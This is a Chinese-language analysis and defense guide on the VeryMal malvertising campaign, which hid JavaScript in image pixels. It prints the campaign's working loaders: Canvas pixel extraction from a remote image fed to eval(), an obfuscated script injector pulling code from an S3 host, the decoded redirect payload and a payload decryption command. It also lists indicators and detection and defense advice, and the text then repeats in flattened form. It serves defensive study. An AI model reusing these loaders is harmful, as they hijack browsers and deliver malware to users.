对隐藏在图像文件中的 JavaScript 恶意代码的详细分析
字数 1712 2025-08-06 08:35:16

隐藏在图像文件中的JavaScript恶意代码分析与防御指南

1. 隐写术恶意软件概述

隐写术(Steganography)是一种在其他非机密文本或数据中隐藏消息或信息的技术。近年来,攻击者开始利用这种技术在图像文件中隐藏JavaScript恶意代码,这种攻击被称为"基于图像的恶意软件"或"隐写恶意软件"。

关键特点:

  • 图像本身无害,但包含可提取的恶意代码片段
  • 需要特定处理才能提取并利用隐藏的代码
  • 主要用于绕过传统安全检测机制

2. 典型攻击案例分析

2.1 VeryMal恶意广告活动

攻击流程:

  1. 恶意广告加载包含隐藏代码的图像
  2. JavaScript处理图像提取隐藏代码
  3. 执行提取的代码进行浏览器劫持

技术细节:

<canvas id='iak'></canvas>
<script>
var wsw = "10512";
var volton = "154c8e99-aad0-4658-b5fb-645c751ad42b";
var canvas = document['getElementById']('iak');
var ctx = canvas['getContext']('2d');
var image = new Image();
image['crossOrigin'] = '';
image['src'] = 'http://s.ad-pixel.com/sscc.jpg';
var rs = '';
var isSupportFontFamily = function (c) {
    // 字体支持检测函数
};
image['onload'] = function () {
    ctx['drawImage'](image, 0x0, 0x0);
    var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);
    for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {
        rs += String['fromCharCode'](o['data'][p + 0x2]);
    }
    eval(rs)
}
</script>

代码解析:

  1. 创建Canvas元素用于图像处理
  2. 加载远程图像(s.ad-pixel.com/sscc.jpg)
  3. 使用Canvas API获取图像像素数据
  4. 从特定像素位置提取字符(每4个像素取第3个字节)
  5. 拼接提取的字符形成可执行代码
  6. 使用eval()执行提取的代码

提取的恶意代码:

top.location.href ='hxxp://veryield-malyst.com/' + volton + '?var1=' + wsw;

2.2 攻击演变历史

早期版本(2019年11月前):

<script type='text/javascript'>
var a = 'w';
var b = 'layback';
var c = 'Target'
var d = 'vailability';
var e = 'vent';
var kk = 'c330e369ea42';
var f = a.toUpperCase() + 'ebKit' + 'P' + b + c + 'A' + d + 'E' +e;
if(f in window) {
    var sc = document.createElement("script");
    var mandow = "79d5e561-1a8d-48f6-abdb-495df89ec5e.";
    var ctt = "s3.amazonaws.com";
    sc.setAttribute("src", "https://" + mandow + ctt + "/csqc.js");
    sc.setAttribute("type", "text/javascript");
    document.head["app" + "endC" + "hild"](sc);
}
</script>

特点变化:

  • 早期:直接使用混淆的JavaScript
  • 后期:采用隐写术隐藏payload
  • 目标:从美国访客扩展到更广泛群体

3. 恶意软件分发机制

3.1 重定向链

  1. 初始域名:veryield-malyst.com
  2. 通过302重定向到adpiano.com(点击跟踪器)
  3. 最终跳转到恶意下载页面

3.2 常见恶意域名模式

  • *.liteflash.icu
  • *.aflash.icu
  • *.greatliteflash.icu
  • *.yourbestsiteforlinksitenew.xyz
  • *.theperfectupdate4everyone.xyz

3.3 恶意文件分发

Mac平台:

  • 文件名:AdobeFlashPlayerInstaller.iso
  • SHA-256:75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f
  • 签名:使用伪造的Apple Team ID(2J5Q8FU8C6)

Windows平台:

  • 通常伪装成Flash更新或系统修复工具
  • 使用AES-256加密payload

4. 恶意软件技术分析

4.1 Mac平台payload分析

  1. 使用Base64编码的shell脚本
  2. 多层解密:
    openssl enc -d -aes-256-cbc -nosalt -pass pass:5683436752 -in enc.out -out enc.out.bin
    
  3. 最终下载并执行受密码保护的ZIP文件

4.2 攻击基础设施特点

  • 主要使用.icu域名
  • 托管在AWS IP空间
  • 使用非常短的TTL(快速更换域名)
  • 参数化URL生成

5. 影响与危害

5.1 影响范围

  • 高峰期间每天超过500万次攻击
  • 主要针对美国用户
  • 影响前100家出版商中的25%

5.2 经济损失

  • 单日峰值影响估计超过120万美元
  • 多方面损失:
    • 出版商:中断的用户会话、广告拦截增加、用户信任损失
    • 广告交易平台:资源切断、库存撤销
    • 广告客户:广告欺诈
    • 用户:设备感染

6. 检测与防御措施

6.1 检测方法

  1. 监控Canvas API的异常使用
  2. 检测图像加载后的像素数据读取行为
  3. 关注eval()函数执行动态生成的代码
  4. 识别非常规的字体支持检测

6.2 防御建议

对于用户:

  • 保持浏览器和操作系统更新
  • 警惕伪装成Flash更新的下载
  • 使用广告拦截扩展
  • 避免点击可疑广告

对于企业:

  • 实施内容安全策略(CSP)
  • 监控和过滤恶意广告
  • 部署行为分析解决方案
  • 定期审查第三方脚本

对于开发者:

  • 限制Canvas API的使用权限
  • 实施子资源完整性检查
  • 使用沙盒环境执行不受信任的代码
  • 监控eval()、Function()等动态代码执行

7. 总结

基于隐写术的JavaScript恶意代码攻击代表了广告恶意软件领域的技术演进,它通过:

  1. 利用合法Web API(Canvas)隐藏恶意行为
  2. 绕过传统的基于签名的检测
  3. 实现高度动态的payload分发

防御这类攻击需要多层防护策略,结合技术控制、用户教育和持续监控。随着攻击者不断改进其技术,安全社区必须保持警惕,及时更新防御措施。

隐藏在图像文件中的JavaScript恶意代码分析与防御指南 1. 隐写术恶意软件概述 隐写术(Steganography)是一种在其他非机密文本或数据中隐藏消息或信息的技术。近年来,攻击者开始利用这种技术在图像文件中隐藏JavaScript恶意代码,这种攻击被称为"基于图像的恶意软件"或"隐写恶意软件"。 关键特点: 图像本身无害,但包含可提取的恶意代码片段 需要特定处理才能提取并利用隐藏的代码 主要用于绕过传统安全检测机制 2. 典型攻击案例分析 2.1 VeryMal恶意广告活动 攻击流程: 恶意广告加载包含隐藏代码的图像 JavaScript处理图像提取隐藏代码 执行提取的代码进行浏览器劫持 技术细节: 代码解析: 创建Canvas元素用于图像处理 加载远程图像(s.ad-pixel.com/sscc.jpg) 使用Canvas API获取图像像素数据 从特定像素位置提取字符(每4个像素取第3个字节) 拼接提取的字符形成可执行代码 使用eval()执行提取的代码 提取的恶意代码: 2.2 攻击演变历史 早期版本(2019年11月前): 特点变化: 早期:直接使用混淆的JavaScript 后期:采用隐写术隐藏payload 目标:从美国访客扩展到更广泛群体 3. 恶意软件分发机制 3.1 重定向链 初始域名:veryield-malyst.com 通过302重定向到adpiano.com(点击跟踪器) 最终跳转到恶意下载页面 3.2 常见恶意域名模式 * .liteflash.icu * .aflash.icu * .greatliteflash.icu * .yourbestsiteforlinksitenew.xyz * .theperfectupdate4everyone.xyz 3.3 恶意文件分发 Mac平台: 文件名:AdobeFlashPlayerInstaller.iso SHA-256:75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f 签名:使用伪造的Apple Team ID(2J5Q8FU8C6) Windows平台: 通常伪装成Flash更新或系统修复工具 使用AES-256加密payload 4. 恶意软件技术分析 4.1 Mac平台payload分析 使用Base64编码的shell脚本 多层解密: 最终下载并执行受密码保护的ZIP文件 4.2 攻击基础设施特点 主要使用.icu域名 托管在AWS IP空间 使用非常短的TTL(快速更换域名) 参数化URL生成 5. 影响与危害 5.1 影响范围 高峰期间每天超过500万次攻击 主要针对美国用户 影响前100家出版商中的25% 5.2 经济损失 单日峰值影响估计超过120万美元 多方面损失: 出版商:中断的用户会话、广告拦截增加、用户信任损失 广告交易平台:资源切断、库存撤销 广告客户:广告欺诈 用户:设备感染 6. 检测与防御措施 6.1 检测方法 监控Canvas API的异常使用 检测图像加载后的像素数据读取行为 关注eval()函数执行动态生成的代码 识别非常规的字体支持检测 6.2 防御建议 对于用户: 保持浏览器和操作系统更新 警惕伪装成Flash更新的下载 使用广告拦截扩展 避免点击可疑广告 对于企业: 实施内容安全策略(CSP) 监控和过滤恶意广告 部署行为分析解决方案 定期审查第三方脚本 对于开发者: 限制Canvas API的使用权限 实施子资源完整性检查 使用沙盒环境执行不受信任的代码 监控eval()、Function()等动态代码执行 7. 总结 基于隐写术的JavaScript恶意代码攻击代表了广告恶意软件领域的技术演进,它通过: 利用合法Web API(Canvas)隐藏恶意行为 绕过传统的基于签名的检测 实现高度动态的payload分发 防御这类攻击需要多层防护策略,结合技术控制、用户教育和持续监控。随着攻击者不断改进其技术,安全社区必须保持警惕,及时更新防御措施。